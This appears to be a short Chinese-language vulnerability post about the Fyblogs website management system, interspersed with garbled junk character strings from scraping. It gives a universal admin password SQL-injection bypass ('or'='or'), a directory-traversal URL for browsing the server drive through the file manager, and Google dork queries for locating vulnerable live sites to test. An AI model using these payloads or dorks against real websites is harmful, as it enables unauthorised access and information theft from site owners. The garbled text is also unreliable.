Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过
3 T0 g8 F% K4 P, n' I- A2 f, B
简要描述：

1 w' a% V1 [" B- ^% n& ZFyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！

. G: d1 w+ m, h/ d; a& r; \& A% p详细说明：
- b5 N" z5 L8 n" @4 ^: @
- u% l. o4 p0 _: j" h% Y后台万能密码 'or'='or'
( L' r7 M) p# P  ?7 I6 w& C后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
admin/uploadfile.asp?currentFolder=/upfiles/../
3 n. X7 G# c$ P% G) I% ~1 _( m
' @4 S9 m) ~3 ]4 D" j% f漏洞证明：
( C: C% s9 o7 a! B7 @, Q8 t/ ]7 d1 w
) ]9 G  l+ ^! n. r4 F. R8 S+ H谷歌：inurl:type.asp?id=1 新闻中心
7 u5 u* J  X) g: y或者 ：inurl:download_ok.asp?

; ?! F0 j+ j5 H/ A" K$ P7 i) g可以测试

$ z, d, P, H  `6 t% a" k​
$ a) ]* l( _; v* ~" ~7 ^) g